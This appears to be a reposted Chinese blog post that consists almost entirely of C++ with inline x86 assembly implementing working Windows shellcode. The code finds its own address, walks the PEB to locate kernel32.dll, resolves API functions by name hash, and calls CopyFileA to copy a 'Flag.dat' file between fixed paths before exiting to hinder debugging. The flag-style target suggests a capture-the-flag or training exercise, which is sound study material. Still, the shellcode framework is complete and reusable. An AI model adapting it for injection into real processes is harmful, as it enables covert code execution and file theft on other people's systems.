Shellcode拷贝文件

#include "stdafx.h"


int _tmain(int argc, _TCHAR* argv[])
{

	// 最终shellcode
	_asm
	{
	nop
		push ebp
		mov ebp,esp
		sub esp,0xC
		// 前置代码,避免后面数据被解析称汇编指令
		jmp tag_Shellcode
		

		// "c:\\pwn\\Flag.dat"  18字节
		_asm _emit(0x63) _asm _emit(0x3a) _asm _emit(0x5c) _asm _emit(0x5c) 
		_asm _emit(0x70) _asm _emit(0x77) _asm _emit(0x6e) _asm _emit(0x5c) 
		_asm _emit(0x5c) _asm _emit(0x46) _asm _emit(0x6c) _asm _emit(0x61) 
		_asm _emit(0x67) _asm _emit(0x2e) _asm _emit(0x64) _asm _emit(0x61) 
		_asm _emit(0x74) _asm _emit(0x00)

		// "C:\\target\\Flag.dat"  21字节
		_asm _emit(0x43) _asm _emit(0x3a) _asm _emit(0x5c) _asm _emit(0x5c)
		_asm _emit(0x74) _asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x67) 
		_asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x5c) _asm _emit(0x5c) 
		_asm _emit(0x46) _asm _emit(0x6c) _asm _emit(0x61) _asm _emit(0x67) 
		_asm _emit(0x2e) _asm _emit(0x64) _asm _emit(0x61) _asm _emit(0x74)
		_asm _emit(0x00)


		// "CopyFileA\0"  10字节
		_asm _emit(0x43) _asm _emit(0x6f) _asm _emit(0x70) _asm _emit(0x79) 
		_asm _emit(0x46) _asm _emit(0x69) _asm _emit(0x6c) _asm _emit(0x65)
		_asm _emit(0x41) _asm _emit(0x00)
	tag_Shellcode:
		call tag_Next
	tag_Next:
		// 1. 获取当前指令地址,放到ebx
		pop ebx // GetPC获取的是这条指令的地址

		sub ebx, 0x5; // 减去CALL本身指令5字节
	
		// Local_1 = Shellcode BaseAddr
		mov [ebp-0x04],ebx

		// 2. 获取关键模块基址

		// esi = PEB
		mov esi, fs:[0x30]
		mov esi, [esi+0x0C]
		mov esi, [esi+0x0C]
		mov esi, [esi]
		mov esi, [esi]

		// edx = kernel32.dll 基址
		mov edx, [esi+0x18]

		// 3. 获取LoadLibraryExA的函数地址
		push edx		 // param_2: kernel32.dll address
		push 0xC0D83287  // param_1: LoadLibraryExA hash
		call fun_GetFunAddrByHash

		// edi = LoadLibraryExA函数地址
		mov edi,eax		

		// 4. 加载Kernel32.dll,增强兼容性,Win7获取的是KernelBase.dll基址

		// Local_2 = kernel32.dll加载基址
		mov [ebp-0x08],edx
		
		// 5.调用payload
		push [ebp-0x08] // kernel32.dll
		push [ebp-0x04] // GetPC BaseAddr
		call fun_Payload

		// 7. 程序执行完,结束程序,防止程序被调试分析
		push [ebp-0x08]  // kernel32.dll
		push 0x4FD18963  // ExitProcess Digest
		call fun_GetFunAddrByHash
		
		// call ExitProcess
		push 0
		call eax
		mov esp,ebp
		pop ebp
	}


	// Payload 部分
	_asm
	{
	fun_Payload: // (int BaseAddr,int kernel32.dll)
	nop
		push ebp
		mov ebp,esp
		sub esp,0x300

		// 1. 根据Hash获取CopyFileA函数地址
		push [ebp+0xC]  // Param_2 = kernel32.dll
		push 0x07eb0fb1 // Hash of CopyFileA 
		call fun_GetFunAddrByHash

		// 2. 获取GetPC Base Address
		mov ebx, [ebp+8]  // Param_1 = BaseAddr

		// 3. 调用CopyFileA函数
		push 0
		lea ecx, [ebx - 0x31]
		push ecx //  Dest = c:\\pwn\\Flag.dat    0x31 = offset 49 字节
		lea  ecx, [ebx - 0x1F]  
		push ecx//  source  = c:\\target\\Flag.dat  0x1F = 31字节偏移距离GetPC
		call eax

	tag_PayloadEnd:
	nop
		mov esp,ebp
		pop ebp
		retn 0x08 // 只有2个参数,所以retn 8
	}



	// 根据Hash获取指定的函数地址,返回值为函数地址
	_asm
	{
	fun_GetFunAddrByHash: // (int nHashDigest,int ImageBase)
	nop
		push ebp
		mov ebp,esp
		sub esp,0x0c
		push edx
		// 1. 获取EAT\ENT\EOT的地址
		
		// edx = Param_1 = ImageBase
		mov edx, [ebp+0x0C]

		// esi = IMAGE_DOS_HEADER
		mov esi, [edx+0x3C]

		// esi = PE文件头
		lea esi, [edx+esi]

		// esi = IMAGE_DIRECTORY_EXPORT.VirtualAddress
		mov esi, [esi+0x78]

		// esi = 导出表首地址
		lea esi, [edx+esi]

		// edi = EAT RVA
		// ===============
		mov edi, [esi+0x1C]

		// edi = EAT VA
		lea edi, [edx+edi]

		// local_1 = EAT
		mov [ebp-0x04],edi

		// edi = ENT RVA
		// ===============
		mov edi, [esi+0x20]
		lea edi, [edx+edi]
		mov [ebp-0x08],edi

		// edi = EOT RVA
		// ==============
		mov edi, [esi+0x24]
		lea edi, [edx+edi]
		mov[ebp-0x0C],edi

		// 2. 循环比较ENT中的函数名称
		xor ecx,ecx
		jmp tag_FirstCmp
	tag_CmpFunNameLoop:
		inc ecx
	tag_FirstCmp:
	nop

		// esi = local_2 ENT
		mov esi, [ebp-0x08]

		// 函数名称RVA
		mov esi, [esi+4*ecx]

		// edx = Param_2 = ImageBase
		mov edx, [ebp+0x0C]

		// esi = 函数名称VA
		lea esi, [edx+esi]

		// nDigest = Param_1 = nHashFunDigest
		// 我们要寻找的函数名称Hash
		push [ebp+0x08]

		// esi = strFunName = ENTVA
		// 当前遍历的ENT表中函数名称VA
		push esi

		// 调用比较函数,判断是否是要找的函数
		call fun_Hash_compire
		test eax,eax
		
		// 如果不相等,就继续循环判断下一个ENT函数
		je tag_CmpFunNameLoop

		// 3. 成功后,找到对应的序号

		// esi = local_3 = EOT
		mov esi, [ebp-0x0C]
		xor edi,edi

		// di = 用函数名数组下标,在序号数组找到对应的序号 
		mov di, [esi+ecx*2]

		// 4. 使用序号作为索引,找到函数名所对应的函数地址
		
		// edx = local_1 = EAT
		mov edx, [ebp-0x04]

		// esi = 用序号在EAT表定位最终要的函数地址RVA
		mov esi, [edx+edi*4]

		// edx = param_2 = ImageBase
		mov edx, [ebp+0x0C]
		
		// 5. 返回获取到的关键函数地址VA
		lea eax, [edx+esi]
		
		pop edx
		mov esp,ebp
		pop ebp
		retn 0x08
	}



	// hash 比较函数
	_asm
	{
	fun_Hash_compire: // (char* strFunName, int nDigest)
	nop
		push ebp
		mov ebp,esp

		// 开辟局部变量,并清零
		sub esp,0x04	
		mov dword ptr[ebp-0x04],0x00

		// 保存用到的寄存器
		push ebx
		push ecx
		push edx
		
		// esi = Param_1(strFunName) 
		mov esi, [ebp+0x08]
		xor ecx,ecx
		xor eax,eax
	tag_HashLoop:
	nop
		// al = 字符串的第ecx个字符
		mov al, [esi+ecx]

		// 判断是否为0,为0则循环结束
		test al,al
		jz tag_HashEnd
		
		// ebx = Local_1(摘要)
		mov ebx, [ebp-0x04]

		// ebx = 摘要<<0x19(25)
		shl ebx,0x19

		// edx = local_1(摘要)
		mov edx, [ebp-0x04]

		// edx = 摘要>>0x07(07)
		shr edx,0x07

		// edx = ebx|edx
		or ebx,edx

		// edx = edx + 字符的ASCII
		add ebx,eax
		mov [ebp-0x04],ebx

		INC ecx // ecx++
		jmp tag_HashLoop
	tag_HashEnd:
	nop
		// ebx = Param_2 = nDigest
		mov ebx, [ebp+0x0c]

		// edx = Local_1
		mov edx, [ebp-0x04]

		// 设置返回值
		xor eax,eax

		// 比较摘要是否相同
		cmp ebx,edx

		// 不相等,直接退出,eax返回0
		jne tag_FunEnd

		// 相等,修改eax的返回值
		mov eax,1
	tag_FunEnd:
	nop
		pop edx
		pop ecx
		pop ebx
		mov esp,ebp
		pop ebp
		retn 0x08
	}




	return 0;
}


猜你喜欢

转载自blog.csdn.net/cssxn/article/details/89341999